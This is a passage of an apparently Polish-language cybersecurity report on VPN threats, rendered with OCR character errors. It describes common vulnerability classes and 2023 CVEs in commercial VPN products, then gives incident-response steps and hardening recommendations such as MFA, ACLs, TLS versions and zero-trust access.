tego typu ustugami, w tym rowniez w zakresie kwestii bezpieczenstwa. Pierwszy ze wzmiankowanych
rodzajow dostepu VPN, tj. client-to-site, ukierunkowany jest na zapewnienie dostepu dla wielu
uzytkownikéw z miejsc geolokalizacyjnie zrdznicowanych, co niewatpliwie zwigksza ryzyko
nieuprawnionego dostepu i naktada wiecej zadan na administratorow czy zespoty bezpieczenstwa, w tym
koniecznos$¢ analizy prob nieuprawnionego dostepu.

W przypadku ustug VPN typu site-to-site, tego rodzaju dostep ma na celu co do zasady zapewnienie
potaczen pomiedzy sieciami w roznych lokalizacjach - pozwala to na tatwiejsza kontrole potgczen.
W zakresie bezpieczenstwa tak skonfigurowanejinfrastruktury istotne jest przede wszystkim zapewnienie
dostepnosci potaczenia pomigdzy punktami VPN.

y




Wsrad zasadniczych czynnikow wptywajacych na poziom zagrozenia uzytkowania rozwigzan klasy

VPN mozna wskazac:

dostepnosé interfejsow SSL VPN w sieci Internet;

brak wprowadzenia $rodkéw bezpieczenstwa w postaci wielosktadnikowego uwierzytelniania
dla dostepu VPN typu client-to-site;

brak aktualizacji oprogramowania urzadzen;

ujawniane sukcesywnie podatnosci krytyczne umozliwiajgce dostep do infrastruktury
z wykorzystaniem podatnych rozwigzan VPN.

Zagrozeniem dla rozwigzan klasy VPN s3 ponadto stale ujawniane podatnosci, w szczegdlnosci

te, ktore niosg znaczne ryzyko pominigcia mechanizméw autoryzacji, wérod ktorych mozna wymienic

przede wszystkim:

przepetnienie bufora pamieci - czesto odnotowywane podatnosci wynikajace z niewtasciwego
zarzadzania pamigcig po stronie VPN-a skutkujagce mozliwoscig ,wycieku” pamieci czy
uprawnionego wprowadzenia i wykonania kodu w S$rodowisku VPN poprzez specjalnie
przygotowane odwotania;

wykorzystanie ataku typu XSS - wystepujace w przypadku niewtasciwego walidowania przez
serwer VPN-a danych przekazywanych przez uzytkownika, skutkujgce mozliwoscig wywotania
w kontekscie dostepu do VPN ztosliwego skryptu i pozyskania w ten sposdb danych np. sesji czy
ciasteczek;

wykonaniu ataku typu directory traversal - bazujgcego na niewtasciwej walidacji $ciezek
dostepu, skutkujgc mozliwoscig dostepu do nieautoryzowanych danych po stronie serwera VPN.

Wskazane podatnosci ujawniane sg dla wielu produktéw klasy VPN i tym samym zwigkszaja

poziom zagrozen prowadzacych do nieautoryzowanego wykonania kodu jako Remote Code Execution

z uprawnieniami uzytkownika lub administratora. Ich wykorzystanie skutkuje tym samym mozliwoscia

ominigcia autoryzacji uzytkownika, eskalacji uprawnien, jak rowniez mozliwoscig pozyskania danych

pamigci VPN-a, czy tez spowodowania odmowy ustugi typu DoS.

Istotnym czynnikiem wptywajacym na poziom ryzyka uzytkowania danego rodzaju urzadzen VPN

jest niewatpliwie powszechnos¢ instalacji w srodowiskach teleinformatycznych okreslonych rozwigzan.

Ujawniane podatnosci dotyczace urzadzen danego producenta pozwalajg na wykorzystanie wiedzy

w tym zakresie do przeprowadzenia cyberatakow, ktdrych celem moze stac sig znacznie szersza

grupa podmiotow uzytkujacych taki sam sprzet czy oprogramowanie. Wszystkie podatnosci sktadaja sie

finalnie na okreslony potencjat zagrozenia okreslanego jako tzw. attack surface. Jest to zbior wszystkich
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mozliwych punktow wejscia do infrastruktury, uzaleznionych od liczby ujawnianych podatnosci,

na co wptyw ma popularno$¢ uzytkowania danego oprogramowania czy sprzetu.

Dostrzegajac wyzej wymienione przestanki, mozna zwrdci¢ uwage na znane powszechnie rodziny
komercyjnych produktéw VPN, ktdrych ujawniane podatnosci s przedmiotem wzmozonego rozpoznania
przez grupy cyberofensywne. Grupy te starajg sie wykrywac podatnosci i wykorzystywac je do celow
przetamywania zabezpieczen oraz uzyskiwania dostepu do zasobow.

Do najbardziej znanych komercyjnych produktow VPN bedacych przedmiotem tego typu dziatan

cyberofensywnych naleza:

e C(Cisco ASA;

e Citrix NetScaler,

e Fortinet Fortigate;

e |vanti Connect Secure;

e Palo Alto Networks GlobalProtect;

e Checkpoint VPN.

Wskazany katalog rozwigzan nie jest oczywiscie zamkniety, jednakze szeroka popularnosé
zastosowan w sposcb szczegdlny ukierunkowuje grupy cyberofensywne na strone analizy zabezpieczen
tego typu produktow i tym samym na wyszukiwanie podatnosci pozwalajacych na uzyskanie dostepu

do infrastruktury.

Ujawniane przy obstudze incydentdw tego rodzaju podatnosci uznawane s nastepnie jako
szczegolnie niebezpieczne, tworzac katalog tzw. znanych i eksploitowanych podatnosci okreslanych
jako well-known vulnerabilities. Identyfikacja przedmiotowych podatnosci pozwala nastepnie na ocene
ryzyka zagrozen dla produktow okreslonych producentow, co umozliwia jednoczesnie ocene ryzyka
kompromitaciji przy wyborze okreslonego rodzaju VPN-a.

Odnosnie zagrozen dla $rodowiska VPN, nie sposdb pomingc takze sprzetu, czy oprogramowania
teleinformatycznego dostepnego w szczegdlnosci dla nabywcow indywidualnych, czy uzywanych jako tzw.
open-source, np. OpenVPN, WireGuard. Ta znaczna grupa sprzetu czy oprogramowania rowniez posiada
stabosci zabezpieczen badz konfiguracji, nierzadko umozliwiajacych przejecie dostepu do urzadzenia.
W tym wypadku duze znaczenie ma wiedza poszczegdlnych uzytkownikéw odnosnie wtasciwej konfiguracji
rozwigzan VPN, bowiem po uruchomieniu dostepu w wielu wypadkach nie prowadzi sig juz statej kontroli
bezpieczenstwa danego urzadzenia pod katem aktualizacji czy dostepu. Rodzi to podobne skutki, jak
w przypadku stosowania produktéw komercyjnych, i tym samym rdéwniez wymaga zachowywania
podstawowych zasad bezpieczenstwa przez wykorzystujgcych dane rozwigzanie zarowno uzytkownikéw,
jak i podmioty.

y
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Rok 2023 mozna uzna¢ za kolejny, w ktorym ujawnionych zostat szereg zagrozen o krytycznym
charakterze podatnosci w rozwigzaniach VPN znanych producentow, wsrod ktdrych znalazty sie takze
podatnosci eksploitowane przez grupy cyberofensywne. Wsrdd tego typu podatnosci mozna wymienic:

e podatnos¢ Cisco ASA - CVE-2023-20269/CVSS 5.0 - podatnos¢ zero-day eksploitowana
przez grupy, ktorych modus operandi jest infekcja ransomware, umozliwiajaca dostep dla
nieuwierzytelnionego uzytkownika do VPN;

e podatnosc Citrix NetScaler - CVE-2023-4966/CVSS 9.4 (Citrix Bleed) - podatnos¢ pozwalajaca
na pozyskanie pamieci VPN zawierajacej tokeny, hasta czy inne dane wrazliwe;

e podatnosc Fortinet - CVE-2023-27997/CVSS 9.8 - podatnos¢ w SSL VPN umozliwiajaca atak RCE
na interfejsie przeznaczonym przede wszystkim do dostepu w sieci Internet bez koniecznosci
uwierzytelnienia.

Wskazane zagrozenia niewatpliwie podwyzszyty ryzyko kompromitacji sieci oraz systemow
i wymagaty podejmowania natychmiastowych krokéw mitygacyjnych w postaci przeprowadzenia
stosownych czynnosci administracyjnych, opierajacych sie o wydawane zalecenia czy publikowane
aktualizacje producentéw. W tym zakresie nalezy uznac szczegolng role producentdw podatnych urzadzen
VPN, ktorzy mozliwie bezzwtocznie publikujac stosowne poprawki bezpieczenstwa oraz przedstawiajac
procedury umozliwiajace wykrycie wtaman s w stanie minimalizowac ryzyko eksploitacji infrastruktury.
Okolicznosci te jednakze naktadajg na zespoty SOC oraz administratorow koniecznos¢ statego
monitorowania wystepujacych anomalii oraz stosowania sie do wydawanych rekomendacji.

Kazde upublicznione podatnosci krytyczne, co do ktdrych istnieje podejrzenie wykorzystania przez
grupy cyberofensywne, zwtaszcza wskazujagce na wykorzystanie okreslonych wektorow ataku wraz
z wykrytymi wskaznikami kompromitacji, wymagajg przeprowadzenia przed zespoty SOC stosownych
krokow remediacyjnych. Dziatania te nie mogg sie ograniczac tylko do samej aktualizacji rozwigzan VPN,
ktora w wielu wypadkach moze wrecz uniemozliwic lub znacznie utrudnic¢ ocene ryzyka stworzong przez
dang podatnos$¢ w zakresie ustalenia, czy doszto do przetamania zabezpieczen.

W przypadku tego typu podatnosci eksploitowanych przez grupy cyberofensywne, gdy zachodza
przestanki wskazujace na mozliwos¢ nieuprawnionego dostepu, nalezy przeprowadzi¢ kompleksowa
ocene i mitygacje ryzyka. Ocena ta powinna uwzglednia¢ wymienione ponizej dziatania zabezpieczajace:

e niezwtocznie odizolowanie z infrastruktury lub ograniczenie dostepu do podatnego rozwigzania;

e przeprowadzenie analizy mozliwosci nieuprawnionego dostgpu w oparciu o narzedzia/skrypty
producenta oraz ujawnione wskazniki kompromitacji. Analiza ta musi takze obejmowac warianty

petnej czy dalszej kompromitacji w zakresie dostepu do segmentdw sieci oraz ich rekonesansu,
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tzw. lateral movement, w szczegdlnosci w zakresie dostepu do zasobow kontrolera domeny.
Scenariusze powinny by¢ eliminowane po przeprowadzaniu sprawdzenia w systemach SIEM czy

W oparciu o posiadane dane logowanig;
e przeprowadzenie procesu aktualizacji lub rekonfiguracji zgodnie z zaleceniami producenta;

e zaangazowanie zespotu SOC, a takze wymiana informacji z sektorowymi czy krajowymi zespotami
cyberbezpieczenstwa w zakresie kompletnosci przeprowadzonych dziatan.

W ramach przedmiotowej oceny nalezy zwtaszcza okreslic, czy miat miejsce nieuprawniony dostep
i w jakiej fazie penetracji sig zatrzymat. Analiza tego typu podatnosci umozliwia takze poznanie stabosci
infrastruktury, szczegolnie w zakresie braku wdrozonych dodatkowych srodkow bezpieczenstwa czy tez
braku okreslonego poziomu kolekcji danych logowania, ktére umozliwiajg przeprowadzenia szybkiego
dziatania mitgacyjnego w ramach tzw. rapid incident response.

Bazujac na wymienionych aspektach zagrozen rozwigzan klasy VPN, mozna sformutowac okreslone
podstawowe rekomendacje bezpieczenstwa ich uzytkowania.

Punktami odniesienia w tym zakresie sa:

e stosowanie zalecen producentdow w zakresie wtasciwej konfiguracji rozwigzan VPN, czy
wykorzystanie list bezpieczenstwa typu security check, wskazujacych przy czynnosciach
administracyjnych, czy wszystkie elementy konfiguracji bezpieczenstwa zostaty uwzglednione
w ustawieniach dostepu;

e standardystanowigce o $rodkach bezpieczenstwa dla tego typu Srodowisk, czy tez bezpieczenstwa
dostepu przy pracy zdalnej’;

e rekomendacje stanowigce opis elementow bezpieczenstwa srodowiska typu VPN, na ktore nalezy
zwrdci¢ uwage, wydawane przez organy czy podmioty dziatajgce w zakresie cyberbezpieczenstwa,
zarowno krajowe®, jak i zagraniczne;

e dobre praktyki czy rekomendacje wydawane przez zespoty cyberbezpieczenstwa, w szczegdlnosci
dotyczace ujawnianych krytycznych podatnosci, czy formutowane w przypadku wystepowania
incydentow o wigkszej skali zagrozenia.

7 np. norma IS0 27002:2022, Control 6.7 - Remote Working dotyczaca polityk bezpieczeristwa w zakresie dostepu zdalnego

0 przyktadem rekomendacji krajowych sa ,Standardy stuzace zapewnieniu sprawnego funkcjonowania infrastruktury krytycznej - dobre
praktyki i rekomendacje” (Rozdziat 2.8.3.4. Kontrola dostepu) - stanowiace Zatacznik nr 1do Narodowego Programu Ochrony Infrastruktury
Krytycznej jak rowniez opracowane przez Ministra Klimatu i Srodowiska ,Rekomendacje dotyczace dziatan majacych na celu wzmocnienie cy-
berbezpieczerstwa w sektorze energii oraz wytyczne sektorowe dotyczace zgtaszania incydentdw” (Rozdziat 12.4. Dostep zdalny i urzadzenia

mobilne)
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Biorgc pod uwage wymienione zrodta wiedzy, pozwalajgce na zbudowanie efektywnej polityki

bezpieczenstwa uzytkowania i dostepu VPN, mozna jednoczesnie wskazac na okreslone istotne

rekomendacje przy wykorzystaniu zdalnego dostepu typu VPN, ktore powinny by¢ uwzgledniane przy

konfiguraciji bezpieczenstwa VPN. Wsrad tego typu rekomendacji nalezy wymienic:

stosowanie kontroli dostepu do VPN w postaci list typu ACL (Access Control List) eliminujacych
dostep z adresacji ztosliwych, niskiej reputacji, czy umozliwiajgce okreslenie obszaru
geograficznego, tzw. geofencing, z ktdrego taki dostep powinien by¢ dopuszczony,

stosowanie inspekcji ruchu dla VPN w oparciu o filtry firewall ograniczajace ruch tylko do portéw
wtasciwych do potgczen VPN, tj. np. UDP 500/4500 dla IKE/IPsec oraz TCP/433 dla potagczen
SSL/TLS;

stosowanie przy dostepie klienckim uwierzytelnienia urzadzen w postaci certyfikatow klienckich
instalowanych na urzadzeniach. Tego typu Srodki bezpieczenstwa wymuszajg takze koniecznosé
realizowania dostepu VPN wytacznie z urzadzen bedacych pod kontrolg danego podmiotu,
o powinno by¢ zasada przy budowaniu bezpiecznego dostepu;

stosowanie sprzetu stuzbowego do pracy zdalnej, wykorzystujacego $rodki bezpieczenstwa
zapewniajace kryptograficzng ochrone danych przechowywanych na tego typu urzadzeniach;

stosowanie dodatkowych S$rodkow uwierzytelnienia MFA w postaci konfiguracji dostepu
opartego na rozwigzaniach sprzetowych, aplikacjach uwierzytelniajgcych, One Time Password
(autentykatory, kody QR czy mniej zalecane kody SMS), czy tez poprzez inne metody tego typu
obstugiwane przez producentow;

wymuszenie na stacji klienckiej nalezagcej do podmiotu tunelowania catego ruchu internetowego
poprzez dostep VPN, co pozwala na stosowng inspekcje bezpieczenstwa;

prowadzenie statego monitoringu dostepu w oparciu o scentralizowang kolekcje logow, w tym
obejmujacych zdarzenia w zakresie bezpieczenstwa co najmniej przez 12 miesiecy, z wdrozeniem
raportowania oraz alertowania przy wykrytych anomaliach;

o ile to mozliwe, uwzglednienie w ramach analizy ruchu sieciowego monitorowania sesji wraz
z jej nagrywaniem czy terminowaniem w przypadkach sesji uznanych za naruszajace polityki
dostepu;

korzystanie z modutow TPM w celu ochrony kluczy kryptograficznych;
uzywanie IKE/IPSec jako preferowanego protokotu dostepu VPN;

w przypadku korzystania przy potaczeniach VPN z SSL, stosowanie protokotu TLS w wersji co
najmniej 1.2, bez mozliwosci negocjacji wersji wczesniejszych;
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e uniemozliwienie dostepu administracyjnego z sieci Internet, zaktadanie kont administracyjnych
dla kazdego administratora oddzielnie, wytgczanie nieuzywanych protokotow oraz interfejsow,
wytaczanie nieuzywanych algorytmow kryptograficznych, niestosowanie domyslnych ustawien
przy konfiguracji VPN-a w oparciu 0 automatyczne narzedzia konfiguracyjne, stosowanie
biezacych aktualizacji wydawanych przez producenta;

e preferowanie metod dostepu typu single sign-on poprzez pojedyncze uwierzytelnienie w celu
umozliwienia centralnego zarzgdzania dostepem do ustug, a tym samym ograniczenie mozliwosci
stosowania rozproszonych, przez co bardziej ztozonych polityk dostepu dla uzytkownikdw;

e stosowanie przy wyborze VPN rozwigzan wspierajacych zasady bezpieczenstwa oparte
na polityce zero-trust, uwzgledniajacej zasady kontekstu bezpieczenstwa pracy uzytkownikow
czy urzadzen w dostepie do infrastruktury.

Jednoczesnie waznym aspektem bezpieczenstwa dostepu VPN jest kwestia organizacji pracy
wszelkiego rodzaju podmiotéw Swiadczacych ustugi utrzymaniowe czy rozwojowe na rzecz infrastruktury
teleinformatycznej. W tym wypadku konieczne jest stosowanie dedykowanych polityk bezpieczenstwa
dla kontraktordw, ktore stanowi¢ powinny integralng czes¢ umow zawieranych na $wiadczenie tego
typu ustug. Przedmiotowe polityki powinny uwzgledniac restrykcyjne podejscie do bezpieczenstwa
pracy kontraktorow poprzez nadawanie dostepu do infrastruktury w okreslonych porach czasowych,
stosowanie wspomnianego juz geofencingu, a takze, jako dodatkowy $rodek, stosowanie w ramach dostepu
doinfrastrukturystacjiposredniczacychw celukontrolidostepuirozliczalnosci czynnosci utrzymaniowych.
W przypadku kontraktoréw operujacych na wtasnych stacjach dostepowych wskazane jest wykonywanie
tzw. device posture check, tj. oceny zagrozenia dostepu do infrastruktury poprzez ocene bezpieczenstwa
stacji dostepowych, ktore beda uzywane do tego typu czynnosci. Eliminuje to w podstawowym zakresie
dostep ze Srodowiska o nieakceptowanym poziomie bezpieczenstwa, np. charakteryzujacego sie
niewspierang wersjg systemu operacyjnego, brakiem aktualizacji oprogramowania antywirusowego,
instalacjg niedopuszczalnych aplikacji czy wykrytym oprogramowaniem o niskiej reputacji, czy wrecz
oprogramowniem ztosliwym.

Nalezy zauwazy¢, ze w dobie popularnosci pracy zdalnej oraz coraz szerszego $wiadczenia ustug
przez kontraktoréw w opcji dostepu zdalnego wzrasta znaczenie zapewnienia bezpieczenstwa dostepu
do infrastruktury. Wsrdd obserwowanych w tym zakresie czesto rekomendowanych dobrych praktyk jest
odej$cie od klasycznego podejscia do bezpieczenstwa VPN, opierajgcego sie wytgcznie na zarzadzaniu
dostgpem uzytkownikow w oparciu o polityki dostepu, uwzgledniajace reguty firewall czy listy ACL.
Oczywiscie te Srodki zarzadzania sg jak najbardziej potrzebne i nie powinny by¢ pomijane w ramach
administracji bezpiecznym dostepem. Rosnacy poziom zagrozen, wyzwania w zakresie wykwalifikowanych
zasobow ludzkich, a takze czesto wybierane modele infrastruktury oparte na ustugach chmurowych
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skutkuja koniecznoscia stopniowego wprowadzenia podejscia catosciowego, opartego na polityce typu

zero-trust.

Tego typu podejécie bazuje na uwzglednieniu tgcznie szeregu aspektdw bezpieczenstwa,zaréwno
w zakresie uwierzytelniania uzytkownikow, sprzetu czy nadawania uprawnien do okreslonych zasobow.
W przypadku wyboru nowych rozwigzan VPN lub budowania stosownych polityk bezpieczenstwa dostepu
warto wigc dokonac analizy mozliwych scenariuszy wdrozenia ustug VPN, uwzgledniajac takze warianty
spetniajace standardy polityki zero-trust.
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